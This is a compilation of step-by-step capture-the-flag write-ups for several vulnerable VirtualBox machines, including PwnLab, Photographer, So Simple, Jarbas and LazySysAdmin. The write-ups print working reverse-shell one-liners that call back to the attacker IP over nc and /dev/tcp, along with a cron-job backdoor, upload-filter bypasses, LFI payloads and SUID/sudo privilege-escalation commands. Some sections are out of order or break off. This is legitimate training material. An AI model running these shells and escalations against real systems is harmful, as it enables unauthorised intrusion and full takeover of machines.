Step 1. Lab Setup:

I set up the PwnLab vulnerable machine in VirtualBox and connected it with my Kali Linux machine.

Step 2. Finding the Target IP:

I used netdiscover to identify the IP address of the PwnLab machine on the local network.

# netdiscover

The scan confirmed the target machine at 192.168.1.3 (PCS Systemtechnik GmbH, the VirtualBox NIC vendor). I used this IP for the rest of the lab.

Step 3. Web Enumeration:

I browsed to port 80 on the target and found a custom web application.

The site was titled “PwnLab Intranet Image Hosting”, with a navigation bar offering Home, Login and Upload pages. I noted all three for further testing.

Step 4. Discovering the LFI:

The site used a page parameter in the URL (?page=login) to load content, which suggested a possible Local File Inclusion vulnerability. I tested this using the PHP filter wrapper to read the source of index.php as base64.

http://192.168.1.3/?page=php://filter/convert.base64-encode/resource=index

The page returned a long base64-encoded string, confirming the page parameter was vulnerable to LFI via the php://filter wrapper.

Step 5. Reading index.php:

I decoded the base64 output using CyberChef’s “From Base64” recipe.

The decoded source revealed the real vulnerability: index.php includes a file from the lang/ directory, built directly from the lang cookie, with no sanitisation.

if (isset($_COOKIE[‘lang’])) { include(“lang/”.$_COOKIE[‘lang’]); }

I noted this lang cookie as the real LFI injection point for later exploitation.

Step 6. Reading login.php:

I repeated the same technique against the login page to review its source.

http://192.168.1.3/?page=php://filter/convert.base64-encode/resource=login

I decoded the result in CyberChef.

The source showed login.php requires config.php, then builds a prepared mysqli statement using the submitted username and a base64-encoded version of the submitted password. I noted the require of config.php as the next file to pull.

Step 7. Reading config.php:

I used the same LFI technique to read config.php.

http://192.168.1.3/?page=php://filter/convert.base64-encode/resource=config

I decoded the output in CyberChef.

This revealed the application’s MySQL database credentials in plaintext:

Username: root Password: H4u%QJ_H99 Database: Users

I saved these credentials for further testing.

Step 8. Reading upload.php:

I also pulled the source of the upload page, anticipating I would need it later.

http://192.168.1.3/?page=php://filter/convert.base64-encode/resource=upload

I decoded it in CyberChef.

The code showed the upload feature requires a logged-in session, then validates uploads using getimagesize() and a whitelist of .jpg, .jpeg, .gif and .png extensions. I noted both checks for later bypass testing.

Step 9. Accessing the Database:

Since port 3306 was reachable, I connected directly to the remote MySQL service using the credentials found in config.php.

# mysql — skip-ssl -h 192.168.1.3 -u root -p

I listed the databases and tables, then dumped the users table from the Users database, retrieving three usernames with base64-encoded passwords: kent, mike and kane.

Step 10. Decoding the Passwords:

I decoded each password value from base64.

This gave me three sets of plaintext credentials:

kent : JWzXuBJJNy mike : SIfdsTEn6I kane : iSv5Ym2GRo

I saved all three for testing against the web login.

Step 11. Web Login:

I used the kent credentials to log in through the web application’s login page.

The login was successful and redirected me to the upload page, confirming authenticated access was now available.

Step 12. Reviewing the Upload Restrictions:

Before attempting to upload a web shell, I reviewed the upload.php source again to confirm exactly what checks I needed to bypass.

This confirmed the file extension whitelist and the getimagesize() validation, both of which needed to be satisfied for the upload to succeed.

Step 13. Crafting the Payload:

I created a file named shell.png containing a PHP reverse shell payload.

# nano shell.png

Step 14. First Upload Attempt:

I attempted to upload shell.png as-is through the Upload page.

The upload failed with “Error 002”, since the file’s content was plain PHP code and did not pass the server’s getimagesize() check for a valid image.

Step 15. Bypassing getimagesize():

I edited shell.png again, this time prepending the GIF89a; magic bytes used at the start of a valid GIF file, ahead of the PHP reverse shell code. This satisfies getimagesize() while still letting the PHP code execute when the file is later included.

Step 16. Successful Upload:

I uploaded the modified file through the Upload page.

This time the upload succeeded, shown by the broken image icon (the browser could not render the file as a real image, but the server had accepted and stored it).

Step 17. Locating the Uploaded File:

Directory listing was enabled on the upload folder, so I browsed to it directly to find the stored filename.

http://192.168.1.3/upload/

The server had renamed my file to a randomised hash: 00bf23e130fa1e525e332ff03dae345d.png. I noted this path for use with the LFI vulnerability.

Step 18. Revisiting the LFI Vector:

I went back to the decoded index.php source to confirm exactly how the lang cookie was used, ahead of chaining it with the uploaded file.

Since the lang cookie value is concatenated directly into an include(“lang/”.$_COOKIE[‘lang’]) call with no sanitisation, a path traversal payload in the cookie could be used to include my uploaded PHP payload instead, regardless of its .png extension.

Step 19. Intercepting the Request:

I opened Burp Suite and intercepted a request to the upload page so I could add the malicious lang cookie.

I edited the Cookie header, setting lang to a relative path that traverses out of the lang/ directory and into the uploaded file:

Cookie: lang=../upload/00bf23e130fa1e525e332ff03dae345d.png

Step 20. Starting the Listener:

Before forwarding the modified request, I started a netcat listener on my attacker machine to catch the reverse shell.

# rlwrap nc -lnvp 1234

Step 21. Catching the Shell:

I forwarded the request from Burp Suite, triggering the include() of my uploaded payload and executing the embedded PHP reverse shell.

I received a connection back from the target, giving me a shell as the www-data user. I upgraded it to a fully interactive TTY using Python.

$ python -c ‘import pty;pty.spawn(“/bin/bash”)’

Step 22. User Enumeration:

I listed the /home directory to see which local accounts existed on the system.

# ls -la

Four user directories were present: john, kane, kent and mike. I already had working credentials for kent, kane and mike from the earlier database dump.

Step 23. Switching to kane:

I used the su command with the kane credentials found earlier to switch to a proper local user.

# su kane

In kane’s home directory, I noticed a SUID binary named msgmike, owned by mike, with the setuid bit set. I noted this binary as a likely route to becoming mike.

Step 24. Analysing msgmike:

I used the strings command to inspect the binary for hardcoded commands.

# strings msgmike

The output revealed the binary calls cat /home/mike/msg.txt via system(), without specifying a full path to cat. Since the binary runs as mike (via the SUID bit) and resolves cat through the user’s PATH, this was exploitable as a classic PATH hijacking vulnerability.

Step 25. Hijacking the PATH:

I created a malicious cat binary in /tmp that spawns a bash shell instead of printing a file, made it executable, and prepended /tmp to my PATH so it would be found before the real /bin/cat.

# cd /tmp

# echo /bin/bash > cat

# chmod 777 cat

# export PATH=/tmp:$PATH

Step 26. Privilege Escalation to mike:

I ran the msgmike binary again, this time with the hijacked PATH in place.

# ./msgmike

Instead of printing mike’s message file, the SUID binary executed my fake cat script and spawned a bash shell running as mike. Once inside /home/mike, I found a second SUID binary, msg2root, owned by root.

Running it prompted for a message to send to root. Since the program did not sanitise this input before passing it to a shell command, I entered a semicolon followed by a shell invocation to break out:

# ./msg2root Message for root: ;/bin/sh

This spawned a shell with euid=0(root), confirming successful privilege escalation to root.

Step 27. Lab Completion:

With root access, I navigated to /root and listed its contents, finding flag.txt.

# cd /root

# ls -la

# more flag.txt

Step 1. Lab Setup:

I set up the Photographer vulnerable machine in VirtualBox and connected it with my Kali Linux machine. The login screen revealed two local usernames on the box.

The login screen listed two accounts, agi and daisa, as well as a Guest Session option. I noted both usernames for later use.

Step 2. Finding the Target IP:

I used netdiscover to identify the IP address of the Photographer machine on the local network.

# netdiscover

The scan confirmed the target machine at 192.168.1.13 (PCS Systemtechnik GmbH). I used this IP for the rest of the lab.

Step 3. Nmap Scan:

Next, I ran an Nmap scan with -A to gather detailed information about open ports and services.

# nmap -A 192.168.1.13

The scan showed four open ports: port 80 (Apache, titled “Photographer by v1n1v131r4”), ports 139 and 445 (Samba), and port 8000 (Apache, running the Koken CMS version 0.22.24 ). I noted all of these for further enumeration.

Step 4. SMB Share Enumeration:

I used smbclient to list the available SMB shares on the target machine.

# smbclient -L 192.168.1.13

The listing revealed a share named sambashare, alongside the default print$ and IPC$ shares. I noted this share for further enumeration.

Step 5. User Enumeration:

I used enum4linux to enumerate further information about the target over SMB.

# enum4linux -a 192.168.1.13

Enum4linux began enumerating target information, workgroup details and Nbtstat information for the PHOTOGRAPHER host.

It also confirmed the two local Unix users seen on the login screen earlier: daisa and agi. I noted both usernames for testing against the SMB share.

Step 6. Accessing the SMB Share:

I connected to the sambashare share using the agi username with a blank password.

# smbclient //192.168.1.13/sambashare -U agi

The login was successful, giving me access to browse the share.

Step 7. Downloading Share Contents:

I listed the contents of the share and found two files of interest: mailsent.txt and wordpress.bkp.zip. I downloaded mailsent.txt for review.

smb: \> ls smb: \> get mailsent.txt

Step 8. Reading the Email:

I read the contents of mailsent.txt on my machine.

# cat mailsent.txt

The file contained an email from Agi Clarence (agi@photographer.com) to Daisa Ahomi (daisa@photographer.com), letting her know her site was ready and reminding her: “Don’t forget your secret, my babygirl ;)”. I noted both email addresses and treated “babygirl” as a likely password hint for Daisa’s account.

Step 9. Web Enumeration — Port 80:

I browsed to port 80 on the target to review the web content there.

This was a static landing page titled “Photographer by v1n1v131r4”, with placeholder Lorem Ipsum content and no obvious login functionality.

Step 10. Web Enumeration — Port 8000:

I then browsed to port 8000, which the earlier Nmap scan had flagged as running Koken CMS.

This page was a photography portfolio site for “daisa ahomi”, built with Koken, with sections for Home, Timeline, Albums, Content and Essays. I noted this as the likely target application.

Step 11. Locating the Admin Panel:

I navigated to the /admin/ path on port 8000 to check for a CMS login page.

This revealed the Koken admin login panel, asking for an email address and password.

Step 12. Logging Into Koken:

I used the email address found in the email (daisa@photographer.com) along with the password hinted at in the same email.

Username: daisa@photographer.com Password: babygirl

I submitted the login form with these credentials.

Step 13. Confirming Admin Access:

The login was successful, giving me full access to the Koken admin dashboard and Library.

With authenticated access confirmed, I turned back to the earlier Nmap result to confirm the exact Koken version in use before searching for known vulnerabilities.

This confirmed the target was running Koken 0.22.24. I noted this version for vulnerability research.

Step 14. Researching the Koken Vulnerability:

I searched Exploit-DB for known vulnerabilities in Koken CMS 0.22.24 and found an authenticated arbitrary file upload vulnerability.

The exploit (EDB-ID 48706) explained that Koken’s upload restrictions rely on a file extension whitelist that can be bypassed: an attacker can upload a file such as image.php.jpg through the Import Content feature, then use Burp Suite to rename the file to image.php during the upload request itself, bypassing the check. I noted this exploit chain for testing.

Step 15. Crafting the Malicious Payload:

I created a PHP file disguised with a .jpg extension to pass the initial upload check.

# nano image.php.jpg

I used revshells.com to generate a PHP Pentest Monkey reverse shell payload, pointing back to my attacker machine (192.168.1.14) on port 1234, and placed this code inside image.php.jpg.

Step 16. Starting the Listener:

In another terminal, I started a netcat listener to catch the reverse shell connection.

# rlwrap nc -lnvp 1234

Step 17. Uploading the Payload:

Back in the Koken admin Library, I opened the Import Content dialog and queued image.php.jpg for upload, with Burp Suite running as an intercepting proxy.

Step 18. Bypassing the Upload Filter:

Burp intercepted the upload POST request to /api.php?/content. I located the “name” form field, which contained image.php.jpg, and edited it in-flight to remove the .jpg extension, leaving just image.php.

I then forwarded the modified request, causing the server to save the uploaded file as a live PHP script rather than an image.

Step 19. Catching the Shell:

After triggering the uploaded file, I received a connection on my netcat listener.

This gave me a shell as the www-data user. I upgraded it to a fully interactive TTY using Python.

Step 20. Reading the User Flag:

I searched the filesystem for a user flag and found one readable by www-data.

# find / -name “user.txt” 2>/dev/null

# cat /home/daisa/user.txt

user.txt: d41d8cd98f00b204e9800998ecf8427e

Step 21. Searching for Privilege Escalation Paths:

I searched for SUID binaries on the system to look for a route to privilege escalation.

# find / -perm -4000 2>/dev/null

Among the standard SUID binaries, I noticed /usr/bin/php7.2 had the SUID bit set, which is unusual and a known privilege escalation vector. I noted this binary for testing.

Step 22. Confirming the Escalation Technique:

I checked GTFOBins for the correct technique to abuse a SUID PHP binary.

GTFOBins confirmed that a SUID PHP binary can be used to spawn a privileged shell using the pcntl_exec function, since the effective privileges are not dropped.

php -r ‘pcntl_exec(“/bin/sh”, [“-p”]);’

Step 23. Privilege Escalation:

I ran the SUID PHP binary with the pcntl_exec technique to spawn a privileged shell.

$ /usr/bin/php7.2 -r ‘pcntl_exec(“/bin/sh”, [“-p”]);’

Checking id confirmed the shell now had euid=0(root), confirming successful privilege escalation.

Step 24. Lab Completion:

With root access, I navigated to /root and listed its contents.

# cd /root

# ls -la

I found and read the proof.txt file, confirming successful completion of the Photographer lab.

# cat proof.txt

proof.txt: d41d8cd98f00b204e9800998ecf8427e

Summary:

The Photographer machine was compromised through a chain of information disclosure and outdated/misconfigured software: an anonymous, blank-password SMB share exposed an internal email revealing both a valid Koken CMS username and a password hint. These credentials granted authenticated access to Koken CMS 0.22.24, which was vulnerable to an authenticated arbitrary file upload flaw bypassable with Burp Suite, allowing a PHP reverse shell to be uploaded and executed as www-data. Privilege escalation to root was then achieved by abusing a misconfigured SUID bit on the php7.2 binary itself, using the pcntl_exec() technique to spawn a root shell.

Step 12. Confirming RCE:

The request successfully returned the contents of /etc/passwd, confirming the Social Warfare RCE vulnerability was exploitable.

The output revealed two user accounts of interest on the system: max (home directory /home/max) and steven (home directory /home/steven). I noted both for further enumeration.

Step 13. Building a Reverse Shell Payload:

I used revshells.com to generate a netcat mkfifo reverse shell payload, targeting my attacker IP (192.168.1.14) on port 1234.

I updated payload.txt, replacing the file-read command with the reverse shell.

<pre>system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.14 1234 >/tmp/f’)</pre>

Step 14. Catching the Reverse Shell:

In another terminal, I started a netcat listener on port 1234.

I received a connection back from the target and obtained a shell as the www-data user.

Step 15. Initial Enumeration as www-data:

After getting the shell, I listed the root filesystem and upgraded to a fully interactive TTY using Python.

I noticed the /opt directory was owned by steven, which I noted for later privilege escalation.

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

Step 16. Discovering SSH Keys:

I navigated to /home/max and listed its contents, finding a personal.txt file, a .ssh directory, and a user.txt flag that www-data did not have permission to read directly.

Inside the .ssh directory, I found and read max’s private SSH key (id_rsa), which was readable by www-data.

# cat id_rsa

I saved this key to my attacker machine for further testing.

Step 17. SSH Login as max:

I saved the key locally, set the correct permissions, and used it to SSH into the target as max.

The login was successful, giving me a proper shell as the max user.

Step 18. Reading the User Flag:

Once logged in as max, I listed the home directory and read the user flag.

user.txt: 073dafccfe902526cee753455ff1dbb0

Step 19. Checking sudo Privileges:

I checked max’s sudo privileges and found an interesting entry.

The output showed that max could run /usr/sbin/service as the user steven, without a password:

User max may run the following commands on so-simple:(steven)

NOPASSWD: /usr/sbin/service

Step 20. Privilege Escalation to steven:

The service command, when given a path containing “..”, can be abused to execute an arbitrary binary (a known GTFOBins technique). I used this to spawn a bash shell as steven.

This successfully switched my shell to the steven user.

Step 21. Reading the Second Flag:

As steven, I listed the home directory and found a second flag, user2.txt.

user2.txt: b662b31b7d8cb9f5cdc9c2010337f9b8

Step 22. Checking steven’s sudo Privileges:

I checked steven’s sudo privileges and found another interesting entry.

The output showed that steven could run a script as root, without a password:

User steven may run the following commands on so-simple:

(root) NOPASSWD: /opt/tools/server-health.sh

Step 23. Exploiting the Writable Path:

The /opt/tools/server-health.sh script did not exist yet, and the /opt directory was writable by steven (as noted back in Step 16). This meant I could create the script myself and have it executed as root.

$ cat /opt/tools/server-health.sh

I created the missing script, writing a simple shell spawn into it.

Step 24. Root Access:

I made the script executable and ran it via sudo.

This returned a root shell, confirming successful privilege escalation.

Step 25. Lab Completion:

With root access, I navigated to /root and found the final flag.txt file.

Step 1. Lab Setup:

I set up the So Simple vulnerable machine in VirtualBox and connected it with my Kali Linux machine and start the machine.

Step 2. Finding the Target IP:

I used netdiscover to confirm the IP address of the So Simple machine on the local network.

The scan confirmed the target machine at 192.168.1.11 .I used this IP for the rest of the lab.

Step 3. Nmap Scan:

Next, I ran an Nmap scan with -sV and -O to identify open ports, running services, and the operating system.

# nmap -sV -O 192.168.1.11

The scan showed two open ports: port 22 (OpenSSH 8.2p1 Ubuntu) and port 80 (Apache httpd 2.4.41 Ubuntu). I noted both services for further enumeration.

Step 4. Directory Enumeration:

I ran gobuster against port 80 to discover hidden directories.

# gobuster dir -u http://192.168.1.11/ -w /usr/share/wordlists/dirb/subdomains-top1million-20000.txt

Gobuster found a /wordpress directory, redirecting to http://192.168.1.11/wordpress/. I noted this for further enumeration.

Step 5. WPScan Enumeration:

Since the site was running WordPress, I used wpscan to enumerate the installation, including usernames and plugin information, using the rockyou wordlist for a password attack.

# wpscan — url http://192.168.1.11/wordpress -P /usr/share/wordlists/rockyou.txt

WPScan identified two usernames, admin and max, via author ID brute forcing. It then ran a password attack against both accounts and found a valid combination:

Username: max Password: opensesame

I saved these credentials for further testing.

Step 6. WordPress Site Review:

I browsed to the WordPress site to review its content before logging in.

In the webpage nothing found intresting.

Step 7. Identifying the Vulnerable Plugin:

I viewed the page source to identify installed plugins and their versions.

# view-source:http://192.168.1.11/wordpress/

The source revealed the site was running the Social Warfare plugin, version 3.5.0. I noted this plugin and version for vulnerability research.

Step 8. Researching the Social Warfare Vulnerability:

I searched for known vulnerabilities in Social Warfare and found that versions <= 3.5.2 are affected by an unauthenticated Remote Code Execution.

The proof of concept showed that an attacker can host a malicious payload file and trigger it via the swp_url parameter on admin-post.php, causing the server to execute PHP code inside the payload. I noted this exploit chain for testing.

Step 9. WordPress Admin Login:

I used the max / opensesame credentials found earlier to log in to the WordPress admin dashboard.

The login was successful, confirming the credentials were valid for the WordPress backend.

Step 10. Crafting the Malicious Payload:

I created a payload file containing PHP code to read /etc/passwd that I found in step 8, to confirm the RCE vulnerability was exploitable.

# nano payload.txt

The payload file contained the following PHP snippet, wrapped in <pre> tags as described in the proof of concept:

<pre>system(‘cat /etc/passwd’)</pre>

Step 11. Hosting the Payload:

I started a local Python HTTP server to host the payload file so the target could retrieve it, and built the exploit URL pointing to my attacker machine (192.168.1.14) on port 8000.

# python3 -m http.server 8000

With the server running, I browsed to the crafted exploit URL on the target:

http://192.168.1.11/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.1.14:8000/payload.txt

Step 1. Lab Setup:

I started the Jarbas vulnerable machine in VirtualBox and connected it with my Kali Linux machine. After the machine was running, I prepared the lab environment and identified the target machine on the network for further enumeration.

Step 2. Finding the Target IP:

I used the netdiscover tool to identify the IP address of the Jarbas machine on the local network. After checking the discovered devices, I found the target machine at 192.168.1.14.

# netdiscover

Step 3. Nmap Scan:

Next, I ran an Nmap scan with -A to identify the open ports, services, versions, and operating system details of the target machine.

# nmap -A 192.168.1.14

The scan showed that ports 22, 80, 3306, and 8080 were open. Port 22 was running SSH, port 80 was running Apache HTTP Server with PHP, port 3306 was running MariaDB, and port 8080 was running Jetty. I noted these services for further enumeration.

Step 4. Opening the Web Page:

After identifying that HTTP port 80 was open, I opened the target IP address in my web browser to check the hosted web application.

The webpage was successfully loaded, showing the Jarbas web application. I then inspected the website for any useful information and possible entry points for further enumeration.

Step 5. Checking Port 8080:

After checking the webpage on port 80, I also accessed the service running on port 8080. When I opened it in the browser, I found a login page.

The login page appeared to be another web application hosted on the target machine. I noted it for further enumeration and investigation.

Step 6. Directory Enumeration:

Next, I used DIRB to find hidden files and directories on the web server. I also checked for .php and .html files using the following command:

# dirb http://192.168.1.14 -X .php,.html

The scan found two accessible files:

· /access.html

· /index.html

Both returned a 200 OK response. I noted the access.html page as it could contain useful information for further enumeration.

Step 7. Finding User Credentials:

I opened the discovered /access.html file and found a list of usernames with strings that appeared to be MD5 hashes.

tiago: 5978a63b4654c73c60fa24f836386d87

trindade: f463f63616cb3f1e81ce46b39f882fd5

eder: 9b38e2b1e8b12f426b0d208a7ab6cb98

The 32-character hexadecimal strings looked like MD5 password hashes. I noted these credentials for further analysis and possible password recovery.

Step 8. Cracking the Password Hashes:

Next, I used CrackStation to identify the original passwords from the MD5 hashes found in the access.html file. After submitting the hashes, CrackStation returned the corresponding plaintext passwords.

I noted the recovered credentials for further testing on the available services.

Step 9. Login Using Recovered Credentials:

After recovering the passwords, I found valid credentials for the eder user. I used the following credentials to log in to the login page on port 8080:

Username: eder

Password: vipsu

The credentials were accepted successfully, and I was able to access the application. I then continued investigating the available functionality for further access.

Step 10. Finding the Script Console:

After logging in as eder, I explored the application and found a script console where I could enter scripts.

Step 11. Starting the Netcat Listener:

First, I started a Netcat listener on my Kali machine to wait for the reverse-shell connection.

# nc -lnvp 1234

The listener was now waiting on port 1234.

Step 12. Executing the Reverse Shell:

Next, I entered the reverse-shell script into the script console.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.13/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

After executing the script, the target connected back to my Kali machine, and I successfully received a reverse shell.

Step 13. Getting the Reverse Shell:

After executing the script, I received the connection on my Kali machine through the Netcat listener. I successfully obtained a reverse shell on the Jarbas machine and could now execute commands on the target.

Step 14. Upgrading the Shell:

After getting the reverse shell, I upgraded it to a more stable Bash shell using Python.

/bin/bash
python -c 'import pty;pty.spawn("/bin/bash")'

This gave me a more interactive shell:

bash-4.2$

Step 15. Checking Cron Jobs:

After upgrading the shell, I checked the system’s cron jobs to look for tasks running with higher privileges.

# cat /etc/crontab

I found a script named CleaningScript.sh that was being executed every 5 minutes by the root user.

*/5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1

This looked interesting because the script was running with root privileges, so I investigated it further.

Step 16. Exploiting the Cron Job:

Since CleaningScript.sh was executed by root every 5 minutes, I added a reverse-shell command to the script. First, I started a Netcat listener on port 4444 on my Kali machine.

# nc -lnvp 4444

Then, from the target shell, I added the reverse-shell command to CleaningScript.sh:

# echo "0<&196;exec 196<>/dev/tcp/192.168.1.13/4444; sh <&196 >&196 2>&196" >> /etc/script/CleaningScript.sh

I waited for the cron job to run the script as root.

Step 17. Getting Root Access:

After the cron job executed the modified script, I received a new shell with root privileges. I verified the access using the id command.

# id

The output confirmed that I successfully obtained root access on the Jarbas machine.

Step 18. Capturing the Flag:

After obtaining root access, I checked the flag.txt file to confirm the successful completion of the lab.

# cat flag.txt

The flag was displayed successfully, confirming that I had completed the Jarbas lab.

MERCY v2 REPORT

Step 1. Lab Setup:

I set up the Mercy v2 vulnerable machine in VirtualBox and connected it with my Kali Linux machine. After the machine was running, I used netdiscover to identify the target IP address on the network.

Step 2. Finding the Target IP:

I started with netdiscover tool to identify the IP address of the Mercy v2 machine on the local network. After checking the discovered devices, I found the target machine at 192.168.1.10.

# netdiscover

I used this IP for the next steps of the lab.

Step 3. Nmap Scan:

Next, I ran an Nmap scan with -A and -p- to scan all ports and gather detailed information about the target.

# nmap -A -p- 192.168.1.10

The scan showed that ports 139 and 445 were open, while ports 22 and 80 were filtered. Port 8080 was open and running Apache Tomcat.

I also checked the robots.txt file and found an interesting path:

/tryharder/tryharder

I noted these services for further enumeration.

Step 4. Hidden Path Enumeration:

I opened the /tryharder/tryharder path found in robots.txt. On this page, I found a Base64-encoded string. I saved the string for further analysis and decoding.

Step 5. Decoding the Base64 String:

I decoded the Base64 string using the echo command. After decoding it, I found :

Password: password

I saved this password for further testing.

Step 6. SMB Enumeration:

I used smbclient to enumerate the SMB shares on the target machine.

# smbclient -L 192.168.1.10

I logged in using anonymous access and found the available share names is “ qiu ”. I noted these shares for further enumeration.

Step 7. User Enumeration:

I used enum4linux to enumerate the SMB service and gather information about the users on the target.

# enum4linux -a 192.168.1.10

The scan revealed four usernames on the target machine. I noted these usernames for further testing.

Step 8. SMB Login:

I tested the discovered usernames with the password I found earlier. One of the valid combinations was:

Username: qiu

Password: password

# smbclient //192.168.1.10/qiu -U qiu

Using these credentials, I successfully logged into the SMB service.

Step 9. SMB Share Enumeration:

After logging into SMB, I used the ls command to list the available files and directories. I found a hidden .private directory.

Inside it, I found an opensesame directory containing a config file. I downloaded the file to my machine using:

# get config

I saved the file for further analysis.

Step 10. Port Knocking:

I opened the config file and found sequence numbers for HTTP and SSH. These numbers were used for port knocking, which is a method of hiding services until the correct sequence is provided.

I used the knock command with the target IP and the sequence numbers. After sending the correct sequence, the previously filtered HTTP and SSH ports became accessible.

After successful port knocking, I scanned the target again with Nmap. This time, ports 80 (HTTP) and 22 (SSH) were accessible.

This allowed me to continue with further enumeration of the target.

Step 11. Web Enumeration:

After accessing port 80, I checked the robots.txt file again:

http://192.168.1.10/robots.txt

I found two interesting paths:

Step 1:Lab Setup

I started the LinSecurity lab and launched the target machine. After the machine was running, I used netdiscover to identify the target IP address on the network.

Step 2: Network Discovery

I used the netdiscover tool to scan the local network and identify active devices. From the results, I identified the IP address assigned to the LinSecurity target machine. This IP address was used for further enumeration and testing.

# netdiscover

Step 3: Nmap Scan

I used Nmap to perform a detailed scan of the target machine. The -p- option scans all TCP ports, while -A enables detailed enumeration such as service versions, OS information, and default scripts which we called aggressive scan.

# nmap -A -p- 192.168.1.14

The scan revealed several open ports and services. One of the important findings was NFS (Network File System) running on the target. Since NFS can expose shared directories, I decided to enumerate the NFS service further to check for accessible files and directories.

Step 4: NFS Enumeration

I used showmount to check the NFS shares available on the target machine.

# showmount -e 192.168.1.14

The scan showed that the /home/peter directory was shared and accessible through NFS. I then mounted this share locally to examine its contents and look for useful information.

I checked the available NFS shares using showmount and found /home/peter shared on the target. I mounted the share locally and inspected its contents. However, I did not find any immediately useful files, credentials, or other interesting information, so I continued with further enumeration of the target.

Step 5: Credential Discovery

While reviewing the VulHub description for the LinSecurity lab, I found that an employee’s username and password were provided. I used these credentials as a clue for further testing and to check whether they could provide access to any of the services running on the target.

Username: bob

Password: secret

Step 6: SSH Login

Using the credentials found in the VulHub description, I attempted to log in to the target through SSH.

# ssh bob@192.168.1.14

The login was successful, giving me access to the target system as the employee user. I then began enumerating the system and checking the user’s permissions for possible privilege-escalation opportunities.

Step 7: Initial Enumeration

After logging in through SSH, I used ls -la to inspect the user's home directory and hidden files.

# ls -la

I did not find anything particularly interesting or useful in the directory, so I continued with further enumeration of the system and user permissions.

Step 8: User Directory Enumeration

I moved to the parent directory using cd .. and listed its contents. I found multiple user directories on the system. This indicated that other user accounts existed, so I continued checking the directories and permissions for useful information.

Step 9: Discovery of Hidden File

I navigated to the susen user's directory and found a hidden file named .secret. Since hidden files may contain sensitive information, I checked the file to determine whether it contained anything useful for further enumeration.

I then used the cat command to read the contents of the .secret file:

# cat .secret

The file displayed a message.

Step 10: Bob User Permission Enumeration

I checked the permissions available to the bob user and found that the user had multiple permissions. During the enumeration, I noticed that /bin/bash was one of the allowed commands.

This was an interesting finding because having permission to execute /bin/bash could potentially be useful for gaining higher-level access, depending on the configured privileges.

Step 11: Privilege Escalation to Root

Since bob had permission to execute /bin/bash with sudo, I used the following command:

# sudo /bin/bash

The command successfully started a root shell. I then confirmed that I had root-level access to the system.

1. Lab Setup:

The LazySysAdmin lab machine was imported into Oracle VirtualBox using File → Import Appliance. After the import was completed successfully, the virtual machine was started for further security testing.

2. Network Discovery:

After starting the LazySysAdmin machine, I used Netdiscover to find the IP address of the target machine. This helped me identify the target on the network.

# netdiscover

Using Netdiscover, I found the target IP address as 192.168.1.8. I used this IP address for the next steps of the lab.

3. Port Scanning and Service Enumeration:

After identifying the target IP address 192.168.1.8, I performed a full port scan using Nmap to find open ports and the services running on them.

# nmap -sV -p- 192.168.1.8

The scan found the following open ports:

Port 22 — SSH: Used for secure remote login.

Port 80 — HTTP: Used to host the target website.

Port 139 — NetBIOS: Used for file and printer sharing.

Port 445 — SMB: Used for Windows file and resource sharing.

Port 3306 — MySQL: Used for the MySQL database service.

Port 6667 — IRC: Used for Internet Relay Chat communication.

These results provided useful information for the next stage of enumeration.

4. Directory Enumeration:

After the Nmap scan, I used Gobuster to search for hidden directories and files on the web server. This helped me find pages or directories that were not directly visible on the website.

# gobuster dir -u http://192.168.1.8/ -w /usr/share/wordlists/dirb/common.txt

During the scan, I found an interesting directory named wordpress. This indicated that the target machine was hosting a WordPress website. I used this directory for further enumeration.

4. Web Application Enumeration:

During the Nmap scan, I found port 80 open, which indicated that a web server was running on the target machine. I opened the website in a browser and inspected the webpage. While checking the page, I found a username: togie, which could be useful for further enumeration and testing.

5. SMB Share Enumeration:

During the Nmap scan, I found ports 139 and 445 open, which indicated that SMB services were running on the target machine.

I used the following Nmap script to enumerate the available SMB shares:

# nmap — script smb-enum-shares -p 139,445 192.168.1.8

The scan revealed an interesting shared directory:

\\192.168.1.8\share$

6. SMB Share Access:

After finding the share$ SMB share, I tried to access it using smbclient. I connected to the share with the following command:

# smbclient \\\\192.168.1.8\\share$

When prompted for a password, I tried anonymous access without providing a valid user password. The connection was successful, and the smb: \> prompt appeared.

This showed that the share$ directory allowed anonymous access, which could potentially expose files or other useful information on the target system. I then proceeded to enumerate the contents of the share.

7. Config File Discovery:

After gaining access to the SMB share, I navigated through the directories using the cd command. While exploring the WordPress directory, I found an important file named wp-config.php.

# cd wordpress

The wp-config.php file was identified successfully. This file was important because it may contain sensitive WordPress configuration and database information.

8. Configuration File Retrieval:

After finding the wp-config.php file inside the WordPress directory, I used the get command to download the file from the SMB share to my machine.

# get wp-config.php

The file was successfully downloaded for further analysis. I then examined the file to identify any sensitive information that could help in the next stage of the lab.

9. Database Credential Discovery:

After downloading the wp-config.php file to my local system, I used the cat command to view its contents.

# cat wp-config.php

While reviewing the configuration file, I found sensitive database information, including:

Database username : Admin

Database Password: TogieMYSQL12345^^

These credentials were useful because they could potentially allow access to the MySQL database running on the target machine.

I recorded the discovered credentials and used them for further database enumeration.

10. SSH Access:

During the enumeration, I identified the username togie for SSH access. I then performed a password brute-force attack against the SSH service in the lab environment. The password : 12345 was successfully identified.

Using these credentials, I was able to log in to the target machine through SSH and continue the assessment.

# ssh togie@192.168.1.8

The login was successful, and I gained access to the target system as the togie user. This confirmed that the discovered credentials were valid and allowed me to continue with further enumeration and privilege escalation.

11. Sudo Permission Check:

After successfully logging in as the togie user, I checked the user's sudo permissions using the following command:

# sudo -l

The output showed that the togie user had full sudo privileges on the target machine. This was an important finding because it meant the user could execute commands with root-level privileges, making privilege escalation straightforward.

12. Root Access:

After confirming that the togie user had full sudo privileges, I used the following command to switch to the root user:

